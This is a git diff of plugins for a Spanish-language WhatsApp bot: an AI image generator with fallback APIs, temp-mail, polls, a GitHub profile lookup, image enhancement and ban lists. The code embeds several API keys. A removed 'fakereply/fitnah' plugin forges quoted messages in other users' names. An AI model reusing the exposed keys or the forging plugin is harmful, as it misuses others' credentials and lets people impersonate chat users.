-const akuariapiresult1 = await translate(`${akuariapijson1.respon}`, {to: 'es', autoCorrect: true});
-const audio10 = await tts(akuariapiresult1.text, idioma);
-await conn.sendMessage(m.chat, {audio: audio10, fileName: 'error.mp3', mimetype: 'audio/mpeg', ptt: true}, {quoted: m});
-} catch {
-}}}}}}}}}}}
-handler.command = /^(openaivoz|chatgptvoz|iavoz|robotvoz|openai2voz|chatgpt2voz|ia2voz|robot2voz|Lolivoz|LoliBotvoz|gptvoz|ai_voz|ai_voce)$/i;
-export default handler;
-
-async function tts(text = 'error', lang = 'es') {
-return new Promise((resolve, reject) => {
-try {
-const tts = gtts(lang);
-const filePath = join(global.__dirname(import.meta.url), '../tmp', (1 * new Date) + '.wav');
-tts.save(filePath, text, () => {
-resolve(readFileSync(filePath));
-unlinkSync(filePath);
-});
-} catch (e) {
-reject(e);
-}
-});
-}
diff --git a/plugins/herramientas-dallE.js b/plugins/herramientas-dallE.js
index 7764ec644..78c817051 100644
--- a/plugins/herramientas-dallE.js
+++ b/plugins/herramientas-dallE.js
@@ -1,15 +1,102 @@
-let handler = async (m, { conn, text, usedPrefix, command }) => {
-if (!text) throw `*[❗] ɪɴɢʀᴇsᴇ ᴜɴ ᴛᴇxᴛᴏ ᴘᴀʀᴀ ᴄʀᴇᴀʀ ᴜɴᴀ ɪᴍᴀɢᴇɴ ʏ ᴀsɪ ᴜsᴀʀ ʟᴀ ғᴜɴᴄɪᴏɴ ᴅᴇ ᴅᴀʟʟ-ᴇ*\n\n*❏ ᴇᴊᴇᴍᴘʟᴏ ᴅᴇ ᴘᴇᴛɪᴄɪᴏɴᴇs*\n*${usedPrefix + command} gatitos llorando*\n*${usedPrefix + command} Gata beso*`
+import fetch from 'node-fetch';
+import axios from 'axios';
+import * as cheerio from "cheerio"
+
+const handler = async (m, {conn, text, usedPrefix, command}) => {
+if (!text) return m.reply(`*⚠️ 𝐈𝐧𝐠𝐫𝐞𝐬𝐞 𝐮𝐧 𝐭𝐞𝐱𝐭𝐨 𝐩𝐚𝐫𝐚 𝐜𝐫𝐞𝐚𝐫 𝐮𝐧𝐚 𝐢𝐦𝐚𝐠𝐞𝐧 𝐲 𝐚𝐬𝐢 𝐮𝐬𝐚𝐫 𝐥𝐚 𝐟𝐮𝐧𝐜𝐢𝐨𝐧 𝐝𝐞 𝐝𝐚𝐥𝐥-𝐞*\n\n*• 𝐄𝐣𝐞𝐦𝐩𝐥𝐨:*\n*${usedPrefix + command} gatitos llorando*`)
+m.react('⌛')
+try {
+let response = await fetch(`https://api.dorratz.com/v3/ai-image?prompt=${text}`)
+let res = await response.json()
+if (res.data.status === "success") {
+const imageUrl = res.data.image_link;
+await conn.sendFile(m.chat, imageUrl, 'error.jpg', `_💫 Resutados: ${text}_\n\n> *✨ Imagen generada por IA ✨*`, m);
+m.react('✅');
+}
+} catch {
+try {
+let answer = await flux(text)
+await conn.sendFile(m.chat, answer, 'error.jpg', `_💫 Resutados: ${text}_\n\n> *✨ Imagen generada por IA ✨*`, m);
+//conn.sendMessage(m.chat, { image: { url: answer }, caption: `_💫 Resutados: ${text}_\n\n> *✨ Imagen generada por IA ✨*`, mentions: [m.sender],}, { quoted: m })
+m.react('✅');
+} catch {
+try {
+const url = `https://api.unsplash.com/search/photos?query=${encodeURIComponent(text)}&client_id=YuKJ2TeTdI2x92PLBA3a11kCEqxjrwVsGhrVRyLBEfU`;
+const response = await axios.get(url);
+if (response.data.results.length === 0) return m.react("❌")
+const imageUrl = response.data.results[0].urls.regular;
+await conn.sendFile(m.chat, imageUrl, 'error.jpg', `_*Resultado de:* ${text}_`, m);
+m.react('✅');
+} catch {
+try {
+const url = `https://api.betabotz.eu.org/api/search/bing-img?text=${encodeURIComponent(text)}&apikey=7gBNbes8`;
+const response = await axios.get(url);
+if (!response.data.result || response.data.result.length === 0) return m.react("❌")
+const imageUrl = response.data.result[0];
+await conn.sendFile(m.chat, imageUrl, 'error.jpg', `_*Resultado de:* ${text}_`, m);
+m.react('✅');
+} catch {
try {
-m.reply('*[❗] ᴇsᴘᴇʀᴇ ᴜɴ ᴍᴏᴍᴇɴᴛᴏ ᴇɴ ʟᴏ ǫᴜᴇ ᴍᴀɴᴅᴏ ʟᴏ ǫᴜᴇ ᴍᴇ ᴘɪᴅɪᴏ*')
-let tiores = await conn.getFile(`https://api.lolhuman.xyz/api/dall-e?apikey=${lolkeysapi}&text=${text}`)
-await conn.sendFile(m.chat, tiores.data, null, null, m)
+const tiores1 = await fetch(`https://vihangayt.me/tools/imagine?q=${text}`);
+const json1 = await tiores1.json();
+await conn.sendFile(m.chat, json1.data, 'error.jpg', `_*Resultado de:* ${text}_`, m);
} catch {
-throw `*[❗] ᴇʀʀᴏʀ, ᴠᴜᴇʟᴠᴀ ᴀ ɪɴᴛᴇɴᴛᴀʀ*`
+try {
+const tiores4 = await conn.getFile(`https://api.lolhuman.xyz/api/dall-e?apikey=${info.fgmods.key}&text=${text}`);
+await conn.sendFile(m.chat, tiores4.data, 'error.jpg', `_*Resultado de:* ${text}_`, m);
+m.react('✅')
+} catch (error) {
+console.log('[❗] Error, ninguna api funcional.\n' + error);
+m.reply(`error ${error}`)
+m.react('❌')
+}}}}}}}
+handler.help = ["dalle"]
+handler.tags = ["buscadores"]
+handler.command = ['dall-e', 'dalle', 'ia2', 'cimg', 'openai3', 'a-img', 'aimg', 'imagine'];
+handler.register = true
+handler.limit = 1
+export default handler;
+
+const flux = async (prompt) => {
+ const url = `https://lusion.regem.in/access/flux.php?prompt=${encodeURIComponent(prompt)}`
+ const headers = {
+ Accept: "*/*",
+ "User-Agent":
+ "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, seperti Gecko) Chrome/129.0.0.0 Mobile Safari/537.36",
+ Referer: "https://lusion.regem.in/?ref=taaft&utm_source=taaft&utm_medium=referral",
+ }
+ const response = await fetch(url, { headers })
+ const html = await response.text()
+ const $ = cheerio.load(html)
+ return $("a.btn-navy.btn-sm.mt-2").attr("href") || null
}
+
+const writer = async (input) => {
+ const url = `https://ai-server.regem.in/api/index.php`
+ const headers = {
+ "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
+ Accept: "*/*",
+ "User-Agent":
+ "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, seperti Gecko) Chrome/129.0.0.0 Mobile Safari/537.36",
+ Referer: "https://regem.in/ai-writer/",
+ }
+ const formData = new URLSearchParams()
+ formData.append("input", input)
+ const response = await fetch(url, { method: "POST", headers, body: formData })
+ return response.text()
}
-handler.command = ['dall-e', 'dalle', 'ia2', 'cimg', 'openai2']
-handler.money = 20
-handler.register = true
-export default handler
+const rephrase = async (input) => {
+ const url = `https://ai-server.regem.in/api/rephrase.php`
+ const headers = {
+ "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
+ Accept: "*/*",
+ "User-Agent":
+ "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, seperti Gecko) Chrome/129.0.0.0 Mobile Safari/537.36",
+ Referer: "https://regem.in/ai-rephrase-tool/",
+ }
+ const formData = new URLSearchParams()
+ formData.append("input", input)
+ const response = await fetch(url, { method: "POST", headers, body: formData })
+ return response.text()
+}
\ No newline at end of file
diff --git a/plugins/herramientas-dropmail.js b/plugins/herramientas-dropmail.js
deleted file mode 100644
index c53892ea1..000000000
--- a/plugins/herramientas-dropmail.js
+++ /dev/null
@@ -1,131 +0,0 @@
-import fetch from 'node-fetch';
-const handler = async (m, {
- conn,
- isOwner,
- usedPrefix,
- command,
- text,
-}) => {
- conn.dropmail = conn.dropmail ? conn.dropmail : {};
- const id = 'dropmail';
-
- const lister = [
- 'create',
- 'message',
- 'delete',
- ];
-
- const [feature, inputs, inputs_, inputs__, inputs___] = text.split(' ');
- if (!lister.includes(feature)) return m.reply('*Ejemplo:*\n' + usedPrefix + command + ' create\n\n*Seleccione un tipo existente*\n' + lister.map((v, index) => ' ○ ' + v).join('\n'));
-
- if (lister.includes(feature)) {
- if (feature == 'create') {
- try {
- const eml = await random_mail();
- const timeDiff = new Date(eml[2]) - new Date();
- conn.dropmail[id] = [
- await m.reply('*EMAIL:*\n' + eml[0] + '\n\n' + '*ID:*\n' + eml[1] + '\n\n*Expired:*\n' + msToTime(timeDiff) + '\n\n_Ejemplo *' + usedPrefix + command + ' message* Para comprobar la bandeja de entrada_'),
- eml[0],
- eml[1],
- eml[2],
- ];
- } catch (e) {
- await m.reply(`Error`);
- }
- }
-
- if (feature == 'message') {
- if (!conn.dropmail[id]) return m.reply('No hay mensajes, cree un correo electrónico primero\nEjemplo *' + usedPrefix + command + ' create*');
-
- try {
- const eml = await get_mails(conn.dropmail[id][2]);
- const teks = eml[0].map((v, index) => {
- return `*EMAIL [ ${index + 1} ]*
-*De* : ${v.fromAddr}
-*Para* : ${v.toAddr}
-
-*Mensaje* : ${v.text}
-*Tamaño* : ${formatSize(v.rawSize)}
-*Encabezamiento* : ${v.headerSubject}
-*Download* : ${v.downloadUrl}
- `.trim();
- }).filter((v) => v).join('\n\n________________________\n\n');
- await m.reply(teks || '*VACÍO*' + '\n\n_Ejemplo *' + usedPrefix + command + ' delete* Para eliminar correos electrónicos_');
- } catch (e) {
- await m.reply(`Error`);
- }
- }
- if (feature == 'delete') {
- if (!conn.dropmail[id]) return m.reply('No hay correo valido');
-
- try {
- delete conn.dropmail[id];
- await m.reply('Correo electrónico eliminado con éxito');
- } catch (e) {
- await m.reply(`Error`);
- }
- }
- }
-};
-handler.help = ['dropmail'];
-handler.tags = ['misc'];
-handler.command = /^(dropmail)$/i;
-export default handler;
-
-function msToTime(duration) {
- const milliseconds = parseInt((duration % 1000) / 100);
- const seconds = Math.floor((duration / 1000) % 60);
- const minutes = Math.floor((duration / (1000 * 60)) % 60);
- const hours = Math.floor((duration / (1000 * 60 * 60)) % 24);
-
- return `${hours}h ${minutes}m ${seconds}s ${milliseconds}ms`;
-}
-
-function formatSize(sizeInBytes) {
- const units = ['B', 'KB', 'MB', 'GB', 'TB'];
- let index = 0;
-
- while (sizeInBytes >= 1024 && index < units.length - 1) {
- sizeInBytes /= 1024;
- index++;
- }
-
- return sizeInBytes.toFixed(2) + ' ' + units[index];
-}
-
-async function random_mail() {
- const link = 'https://dropmail.me/api/graphql/web-test-wgq6m5i?query=mutation%20%7BintroduceSession%20%7Bid%2C%20expiresAt%2C%20addresses%20%7Baddress%7D%7D%7D';
-
- try {
- const response = await fetch(link);
- if (!response.ok) {
- throw new Error(`HTTP error! status: ${response.status}`);
- }
- const data = await response.json();
- const email = data['data']['introduceSession']['addresses'][0]['address'];
- const id_ = data['data']['introduceSession']['id'];
- const time = data['data']['introduceSession']['expiresAt'];
-
- return [email, id_, time];
- } catch (error) {
- console.log(error);
- }
-}
-
-async function get_mails(id_) {
- const link = `https://dropmail.me/api/graphql/web-test-wgq6m5i?query=query%20(%24id%3A%20ID!)%20%7Bsession(id%3A%24id)%20%7B%20addresses%20%7Baddress%7D%2C%20mails%7BrawSize%2C%20fromAddr%2C%20toAddr%2C%20downloadUrl%2C%20text%2C%20headerSubject%7D%7D%20%7D&variables=%7B%22id%22%3A%22${id_}%22%7D`;
-
- try {
- const response = await fetch(link);
- if (!response.ok) {
- throw new Error(`HTTP error! status: ${response.status}`);
- }
- const data = await response.json();
- const inbox = data['data']['session']['mails'];
-
- // return the size of the inbox to verify the amount of mail and whether the mail has arrived
- return [inbox, inbox.length];
- } catch (error) {
- console.log(error);
- }
-}
diff --git a/plugins/herramientas-encuesta.js b/plugins/herramientas-encuesta.js
deleted file mode 100644
index a42d98bc3..000000000
--- a/plugins/herramientas-encuesta.js
+++ /dev/null
@@ -1,14 +0,0 @@
-/* Creditos a https://github.com/ALBERTO9883 */
-
-let handler = async (m, { conn, text, args, usedPrefix, command }) => {
-if (!args[0]) throw `⚠️️ _𝙄𝙣𝙜𝙧𝙚𝙨𝙚 𝙪𝙣 𝙩𝙚𝙭𝙩𝙤 𝙥𝙖𝙧𝙖 𝙞𝙣𝙞𝙘𝙞𝙖𝙧 𝙡𝙖 𝙚𝙣𝙘𝙪𝙚𝙨𝙩𝙖!_\n\n📌 𝙀𝙟𝙚𝙢𝙥𝙡𝙤 : \n*${usedPrefix + command}* texto|texto2...`
-if (!text.includes('|')) throw `*⚠️️ 𝑺𝒆𝒑𝒂𝒓𝒆 𝒍𝒂 𝒆𝒏𝒄𝒖𝒆𝒔𝒕𝒂 𝒄𝒐𝒏* *|* \n\n📌 𝑬𝒋𝒆𝒎𝒑𝒍𝒐 : \n*${usedPrefix + command}* texto|texto2...`
-let a = []
-let b = text.split('|')
-for (let c = 0; c < b.length; c++) { a.push([b[c]]) }
-return conn.sendPoll(m.chat, `📊 *𝑬𝒏𝒄𝒖𝒆𝒔𝒕𝒂 𝒑𝒂𝒓𝒂:*\n\n${text}`, a, m)}
-handler.help = ['encuesta ']
-handler.tags = ['group']
-handler.command = ['poll', 'encuesta']
-handler.register = true
-export default handler
diff --git a/plugins/herramientas-fakeReply.js b/plugins/herramientas-fakeReply.js
deleted file mode 100644
index 2125d66c1..000000000
--- a/plugins/herramientas-fakeReply.js
+++ /dev/null
@@ -1,28 +0,0 @@
-
-const handler = async (m, {conn, text, usedPrefix, command}) => {
- if (!text) return m.reply(`*[❗] USO DEL COMANDO*\n\n*${usedPrefix + command}* hola @${m.sender.split`@`[0]} a`, null, {mentions: [m.sender]});
- const cm = copy(m);
- let who;
- if (text.includes('@0')) who = '0@s.whatsapp.net';
- else if (m.isGroup) who = cm.participant = m.mentionedJid[0];
- else who = m.chat;
- if (!who) return m.reply(`*[❗] USO DEL COMANDO*\n\n*${usedPrefix + command}* hola @${m.sender.split`@`[0]} a`, null, {mentions: [m.sender]});
- cm.key.fromMe = false;
- cm.message[m.mtype] = copy(m.msg);
- const sp = '@' + who.split`@`[0];
- const [fake, ...real] = text.split(sp);
- conn.fakeReply(m.chat, real.join(sp).trimStart(), who, fake.trimEnd(), m.isGroup ? m.chat : false, {
- contextInfo: {
- mentionedJid: conn.parseMention(real.join(sp).trim()),
- },
- });
-};
-handler.help = ['fake @user '];
-handler.tags = ['tools'];
-handler.command = /^(fitnah|fakereply|fake)$/;
-
-export default handler;
-
-function copy(obj) {
- return JSON.parse(JSON.stringify(obj));
-}
diff --git a/plugins/herramientas-githubstalk.js b/plugins/herramientas-githubstalk.js
deleted file mode 100644
index b4e9b93b1..000000000
--- a/plugins/herramientas-githubstalk.js
+++ /dev/null
@@ -1,60 +0,0 @@
-import axios from 'axios'
-var handler = async(m, { conn, text }) => {
-
- if (!text) return conn.reply(m.chat, '*⚠️ INGRESE EL NOMBRE DE UN USUARIO DE GITHUB*', m)
-
- await m.reply('*B U S C A N D O ✅*')
- let request = await githubstalk(text)
- let { username, following, followers, type, bio, company, blog, location, email, public_repo, public_gists, profile_pic } = request
- let thumb = await (profile_pic)
- let hasil = `*⬤── 「 𝙂𝙄𝙏𝙃𝙐𝘽 𝙎𝙏𝘼𝙇𝙆 」 ──⬤*
-➸ *nombre de usuario*: ${username}
-➸ *Bio*: ${bio}
-➸ *Compañía*: ${company}
-➸ *Email:* ${email}
-➸ *blogs:* ${blog}
-➸ *Repositorios públicos:* ${public_repo}
-➸ *Esenciales públicas:* ${public_gists}
-➸ *seguidores:* ${followers}
-➸ *siguiente:* ${following}
-➸ *Ubicación:* ${location}
-➸ *tipo:* ${type}
-`
-
- conn.sendFile(m.chat, img, 'githubstalk.jpg', hasil, m)
-}
-handler.help = ['githubstalk'].map(v => v + ' ')
-handler.tags = ['internet']
-handler.command = /^(githubstalk)$/i
-
-export default handler
-
-async function githubstalk(user) {
- return new Promise((resolve, reject) => {
- axios.get('https://api.github.com/users/'+user)
- .then(({ data }) => {
- let hasil = {
- username: data.login,
- nickname: data.name,
- bio: data.bio,
- id: data.id,
- nodeId: data.node_id,
- profile_pic: data.avatar_url,
- url: data.html_url,
- type: data.type,
- admin: data.site_admin,
- company: data.company,
- blog: data.blog,
- location: data.location,
- email: data.email,
- public_repo: data.public_repos,
- public_gists: data.public_gists,
- followers: data.followers,
- following: data.following,
- ceated_at: data.created_at,
- updated_at: data.updated_at
- }
- resolve(hasil)
- })
- })
-}
diff --git a/plugins/herramientas-hd.js b/plugins/herramientas-hd.js
new file mode 100644
index 000000000..c0c94ef74
--- /dev/null
+++ b/plugins/herramientas-hd.js
@@ -0,0 +1,30 @@
+import fetch from 'node-fetch'
+import uploadImage from '../lib/uploadImage.js'
+
+const handler = async (m, { conn, usedPrefix, command }) => {
+try {
+let q = m.quoted ? m.quoted : m
+let mime = (q.msg || q).mimetype || q.mediaType || ""
+if (!mime.startsWith('image')) return m.reply(`⚠️ *Responde a una imagen para mejorarla en HD.*`)
+await m.react('⌛')
+
+let img = await q.download?.()
+if (!img) return m.reply(`❌ No se pudo descargar la imagen.`)
+let url = await uploadImage(img)
+let res = await fetch(`https://api.neoxr.eu/api/remini?image=${encodeURIComponent(url)}&apikey=GataDios`)
+let json = await res.json()
+if (!json.status || !json.data?.url) return m.reply('❌ No se pudo mejorar la imagen.')
+await conn.sendFile(m.chat, json.data.url, 'hd.jpg', `✅ *Aquí está tu imagen en HD*`, m)
+await m.react('✅')
+} catch (e) {
+console.error(e)
+await m.react('❌')
+m.reply(`❌ Error: ${e.message || e}`)
+}}
+handler.help = ['hd', 'remini', 'enhance']
+handler.tags = ['tools']
+handler.command = ['hd', 'remini', 'enhance']
+handler.register = true
+handler.limit = 1
+
+export default handler
diff --git a/plugins/herramientas-inspect.js b/plugins/herramientas-inspect.js
deleted file mode 100644
index 5b52b6595..000000000
--- a/plugins/herramientas-inspect.js
+++ /dev/null
@@ -1,85 +0,0 @@
-//import * as baileys from '@adiwajshing/baileys'
-let baileys = (await import(global.baileys)).default
-
-let handler = async (m, { conn, text }) => {
- let [, code] = text.match(/chat\.whatsapp\.com\/(?:invite\/)?([0-9A-Za-z]{20,24})/i) || []
- if (!code) throw `${lenguajeGB['smsAvisoMG']()}𝙄𝙉𝙂𝙍𝙀𝙎𝙀 𝙀𝙇 𝙇𝙄𝙉𝙆 𝘿𝙀𝙇 𝙂𝙍𝙐𝙋𝙊`
- let res = await conn.query({ tag: 'iq', attrs: { type: 'get', xmlns: 'w:g2', to: '@g.us' }, content: [{ tag: 'invite', attrs: { code } }] }),
- data = extractGroupMetadata(res),
- txt = Object.keys(data).map(v => `*${v.capitalize()}:* ${data[v]}`).join('\n'),
- pp = await conn.profilePictureUrl(data.id, 'image').catch(console.error)
- if (pp) return conn.sendMessage(m.chat, { image: { url: pp }, caption: txt }, { quoted: m })
- let groupinfo = `*┏━━━━━━━━━━━━━━━┓*
-*┃☂️ ⫹⫺ ID: ${data.id}*
-*┃🧪 ⫹⫺ Nombre: ${data.subject}*
-*┃📅 ⫹⫺ Creado: ${data.creation}*
-*┃👑 ⫹⫺ Owner: ${data.owner}*
-*┃👇 ⫹⫺ La descripción se enviarán a continuación 👇👇👇*
-*┗━━━━━━━━━━━━━━━┛*`
- await conn.reply(m.chat, groupinfo, m)
- await conn.reply(m.chat, `${data.desc}`, m)
-}
-handler.command = /^(inspect)$/i
-handler.register = true
-handler.level = 3
-export default handler
-
-const extractGroupMetadata = (result) => {
- const group = baileys.getBinaryNodeChild(result, 'group')
- const descChild = baileys.getBinaryNodeChild(group, 'description')
- let desc
- if (descChild) desc = baileys.getBinaryNodeChild(descChild, 'body')?.content
- const metadata = {
- id: group.attrs.id.includes('@') ? group.attrs.id : baileys.jidEncode(group.attrs.id, 'g.us'),
- subject: group.attrs.subject,
- creation: new Date(+group.attrs.creation * 1000).toLocaleString('id', { timeZone: 'Asia/Jakarta' }),
- owner: group.attrs.creator ? 'wa.me/' + baileys.jidNormalizedUser(group.attrs.creator).split('@')[0] :
- // group.attrs.s_o ? 'wa.me/' + baileys.jidNormalizedUser(group.attrs.s_o).split('@')[0] :
- group.attrs.id.includes('-') ? 'wa.me/' + group.attrs.id.split('-')[0] : '',
- desc
- }
- return metadata
-}
-
-/*import * as baileys from '@adiwajshing/baileys'
-
-let handler = async (m, { conn, text }) => {
- let [, code] = text.match(/chat\.whatsapp\.com\/(?:invite\/)?([0-9A-Za-z]{20,24})/i) || []
- if (!code) throw '*⚠️ Ingrese el link de un grupo*'
- let res = await conn.query({ tag: 'iq', attrs: { type: 'get', xmlns: 'w:g2', to: '@g.us' }, content: [{ tag: 'invite', attrs: { code } }] }),
- data = extractGroupMetadata(res),
- txt = Object.keys(data).map(v => `*${v.capitalize()}:* ${data[v]}`).join('\n'),
- pp = await conn.profilePictureUrl(data.id, 'image').catch(console.error)
- let groupinfo = `
-*┏━━━━━━━━━━━━━━━┓*
-*┃☂️ ⫹⫺ ID:* ${data.id}◞
-*┃🧪 ⫹⫺ Nombre:* ${data.subject}
-*┃📅 ⫹⫺ Creado:* ${data.creation}
-*┃👑 ⫹⫺ Owner:* ${data.owner}
-*┗━━━━━━━━━━━━━━━┛*
-`
- await conn.reply(m.chat, groupinfo, m)
- const botones = [
-{index: 1, urlButton: {displayText: `Copiar Descripción 🍓`, url: `https://www.whatsapp.com/otp/copy/${data.desc}`}},
-]
-await conn.sendMessage(m.chat, { text: `*┏━━━━━━━━━━━━━━┓*\n┃¿Desa copiar la desc? •🌷\n*┗━━━━━━━━━━━━━━┛*`, templateButtons: botones, footer: wm })
-}
-handler.command = /^(inspect)$/i
-
-export default handler
-handler.owner = false
-
-const extractGroupMetadata = (result) => {
- const group = baileys.getBinaryNodeChild(result, 'group')
- const descChild = baileys.getBinaryNodeChild(group, 'description')
- let desc
- if (descChild) desc = baileys.getBinaryNodeChild(descChild, 'body')?.content
- const metadata = {
- id: group.attrs.id.includes('@') ? group.attrs.id : baileys.jidEncode(group.attrs.id, 'g.us'),
- subject: group.attrs.subject,
- creation: new Date(+group.attrs.creation * 1000).toLocaleString('id', { timeZone: 'America/Los_Angeles' }),
- owner: group.attrs.creator ? 'wa.me/' + baileys.jidNormalizedUser(group.attrs.creator).split('@')[0] : undefined,
- desc
- }
- return metadata
-}*/
diff --git a/plugins/herramientas-list.js b/plugins/herramientas-list.js
new file mode 100644
index 000000000..683bdc9f3
--- /dev/null
+++ b/plugins/herramientas-list.js
@@ -0,0 +1,105 @@
+import { db } from "../lib/postgres.js";
+
+const handler = async (m, { conn, command, isOwner }) => {
+let txt = "";
+
+if (command === "listablock") {
+try {
+const blocklist = await conn.fetchBlocklist() || [];
+txt += `📛 *LISTA DE BLOQUEADOS*\n\n*Total:* ${blocklist.length}\n\n╭━━━[ *${info.vs} 𓃠* ]━━━⬣\n`;
+if (blocklist.length) {
+for (let jid of blocklist) {
+txt += `┃🚫 @${jid.split("@")[0]}\n`;
+}} else {
+txt += "┃✅ No hay usuarios bloqueados actualmente.\n";
+}
+txt += `╰━━━━━━━⬣\n\n*Por favor no llame para evitar ser Bloqueado, Gracias.*`
+} catch (e) {
+txt += "❌ Error al obtener la lista de bloqueados.\n";
+}
+return conn.reply(m.chat, txt, m, { mentions: await conn.parseMention(txt) });
+}
+
+if (command === "chatsbaneados") {
+try {
+const res = await db.query("SELECT group_id FROM group_settings WHERE banned = true");
+txt += `╭•·––| 💬 𝘾𝙃𝘼𝙏𝙎 𝘽𝘼𝙉𝙀𝘼𝘿𝙊𝙎* |––·•
+│ *Total:* ${res.rowCount}\n│\n`;
+if (res.rows.length) {
+for (const chat of res.rows) {
+txt += `│🚫 ${chat.group_id}\n`;
+}
+} else {
+txt += "│✅ No hay chats baneados actualmente.\n";
+}
+txt += "╰•·–––––––––––––––––––·•\n";
+} catch (e) {
+txt += "❌ Error al obtener la lista de chats baneados.\n";
+}
+return conn.reply(m.chat, txt, m);
+}
+
+if (command === "listaban") {
+try {
+const res = await db.query("SELECT id, razon_ban, avisos_ban FROM usuarios WHERE banned = true");
+txt += `╭•·––| 👥 𝐔𝐒𝐔𝐀𝐑𝐈𝐎𝐒 𝐁𝐀𝐍𝐄𝐀𝐃𝐎𝐒 |––·•\n│ *Total:* ${res.rowCount}\n│\n`;
+if (res.rows.length) {
+for (const user of res.rows) {
+let razon = user.razon_ban ? `\n│📌 *Razón:* ${user.razon_ban}` : "";
+let adv = user.avisos_ban ? ` | *Avisos:* ${user.avisos_ban}/3` : "";
+txt += `├🚫 @${user.id.split("@")[0]}${razon}\n`;
+}} else {
+txt += "│✅ No hay usuarios baneados actualmente.\n";
+}
+txt += "╰•·–––––––––––––––––––·•\n";
+} catch (e) {
+txt += "❌ Error al obtener la lista de baneados.\n";
+}
+return conn.reply(m.chat, txt, m, { mentions: await conn.parseMention(txt) });
+}
+
+if (command === "listaparejas") {
+try {
+const res = await db.query("SELECT id, marry FROM usuarios WHERE marry IS NOT NULL");
+txt += `╭•·––| 💞 *LISTA DE PAREJAS* |––·•\n│\n*│Total:* ${res.rowCount}\n│\n`;
+if (res.rows.length) {
+let i = 1;
+for (const user of res.rows) {
+if (!user.marry || user.marry === "null") continue;
+txt += `│ *${i}.* @${user.id.split("@")[0]} 💞 @${user.marry.split("@")[0]}\n`;
+i++;
+}
+} else {
+txt += "│✅ No hay parejas registradas actualmente.\n";
+}
+txt += "╰•·–––––––––––––––––––·•\n";
+} catch (e) {
+txt += "❌ Error al obtener la lista de parejas.\n";
+}
+return conn.reply(m.chat, txt, m, { mentions: await conn.parseMention(txt) });
+}
+
+if (command === "listaadv") {
+try {
+const res = await db.query("SELECT id, warn FROM usuarios WHERE warn > 0");
+txt += `╭•·––| ⚠️ *USUARIOS ADVERTIDOS / WARNED* |––·•\n│\n*│Total:* ${res.rowCount}\n│\n`;
+if (res.rows.length) {
+let i = 1;
+for (const user of res.rows) {
+txt += `│ *${i}.* @${user.id.split("@")[0]} *(Warn: ${user.warn}/4)*\n`;
+i++;
+}} else {
+txt += "│✅ No hay usuarios advertidos actualmente.\n";
+}
+txt += "╰•·–––––––––––––––––––·•\n";
+} catch (e) {
+txt += "❌ Error al obtener la lista de advertidos.\n";
+}
+return conn.reply(m.chat, txt, m, { mentions: await conn.parseMention(txt) });
+}};
+handler.help = ["listablock", "listaban", "listaadv", "chatsbaneados", "listaparejas"];
+handler.tags = ["owner"];
+handler.command = /^listablock|listaban|listaadv|chatsbaneados|listaparejas$/i;
+//handler.owner = true;
+
+export default handler;
diff --git a/plugins/herramientas-morce.js b/plugins/herramientas-morce.js
deleted file mode 100644
index 2f0dedefa..000000000
--- a/plugins/herramientas-morce.js
+++ /dev/null
@@ -1,149 +0,0 @@
-let handler = async(m, { conn, usedPrefix, command, text }) => {
-const fkontak = {
- "key": {
- "participants":"0@s.whatsapp.net",
- "remoteJid": "status@broadcast",
- "fromMe": false,
- "id": "Halo"
- },
- "message": {
- "contactMessage": {
- "vcard": `BEGIN:VCARD\nVERSION:3.0\nN:Sy;Bot;;;\nFN:y\nitem1.TEL;waid=${m.sender.split('@')[0]}:${m.sender.split('@')[0]}\nitem1.X-ABLabel:Ponsel\nEND:VCARD`
- }
- },
- "participant": "0@s.whatsapp.net"
-}
-
- let enc = {
- "a": "•-",
- "b": "-•••",
- "c": "-•-•",
- "d": "-••",
- "e": "•",
- "f": "••-•",
- "g": "--•",
- "h": "••••",
- "i": "••",
- "j": "•---",
- "k": "-•-",
- "l": "•-••",
- "m": "--",
- "n": "-•",
- "o": "---",
- "p": "•--•",
- "q": "--•-",
- "r": "•-•",
- "s": "•••",
- "t": "-",
- "u": "••-",
- "v": "•••-",
- "w": "•--",
- "x": "-••-",
- "y": "-•--",
- "z": "--••",
- "0": "-----",
- "1": "•----",
- "2": "••---",
- "3": "•••--",
- "4": "••••-",
- "5": "•••••",
- "6": "-••••",
- "7": "--•••",
- "8": "---••",
- "9": "----•",
- "?": "••--••",
- "!": "-•-•--",
- ".": "•-•-•-",
- ",": "--••--",
- ";": "-•-•-•",
- ":": "---•••",
- "+": "•-•-•",
- "-": "-••••-",
- "/": "-••-•",
- "=": "-•••-",
- " ": "/"
- }
-
- let dec = {
- "-----": "0",
- "•----": "1",
- "••---": "2",
- "•••--": "3",
- "••••-": "4",
- "•••••": "5",
- "-••••": "6",
- "--•••": "7",
- "---••": "8",
- "----•": "9",
- "•-": "a",
- "-•••": "b",
- "-•-•": "c",
- "-••": "d",
- "•": "e",
- "••-•": "f",
- "--•": "g",
- "••••": "h",
- "••": "i",
- "•---": "j",
- "-•-": "k",
- "•-••": "l",
- "--": "m",
- "-•": "n",
- "---": "o",
- "•--•": "p",
- "--•-": "q",
- "•-•": "r",
- "•••": "s",
- "-": "t",
- "••-": "u",
- "•••-": "v",
- "•--": "w",
- "-••-": "x",
- "-•--": "y",
- "--••": "z",
- "••--••": "?",
- "-•-•--": "!",
- "•-•-•-": ".",
- "--••--": ",",
- "-•-•-•": ";",
- "---•••": ":",
- "•-•-•": "+",
- "-••••-": "-",
- "-••-•": "/",
- "-•••-": "=",
- "/": " "
- }
-
-let selected = text.toLowerCase().split(" ")[0] + " "
-if(selected == "codificar ") {
-let str = text.replace(selected, "").toLowerCase()
-let Output_Morse = ""
-for(let i of str) {
-if(!enc[i]) Output_Morse += i
-for(let j in enc) {
-if(j == i) Output_Morse += enc[i] + " "
-}}
-
-return conn.reply(m.chat, Output_Morse, fkontak, m)
-} else if(selected == "decodificar ") {
-let str = text.replace(selected, "").replace(/[.]/g, "•")
-let Output_String = ""
-for(let i of str.split(" ")) {
-if(!dec[i]) Output_String += i
-for(let j in dec) {
-if(j == i) Output_String += dec[i]
-}}
-return conn.reply(m.chat, Output_String, fkontak, m)
-} else {
